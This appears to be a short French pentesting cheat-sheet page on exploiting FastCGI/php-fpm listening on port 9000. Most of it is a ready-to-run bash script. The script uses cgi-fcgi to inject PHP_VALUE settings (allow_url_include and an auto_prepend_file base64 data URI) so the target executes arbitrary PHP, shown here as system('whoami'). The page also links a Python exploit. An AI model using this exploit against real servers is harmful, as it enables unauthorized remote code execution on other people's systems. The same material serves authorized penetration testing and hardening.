Informations de base

Si vous voulez apprendre ce qu'est FastCGI, consultez la page suivante :

disable_functions bypass - php-fpm/FastCGI

Par défaut, FastCGI fonctionne sur le port 9000 et n'est pas reconnu par nmap. Généralement, FastCGI n'écoute que sur localhost.

RCE

Il est assez facile de faire exécuter du code arbitraire par FastCGI :

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

ou vous pouvez également utiliser le script python suivant : https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75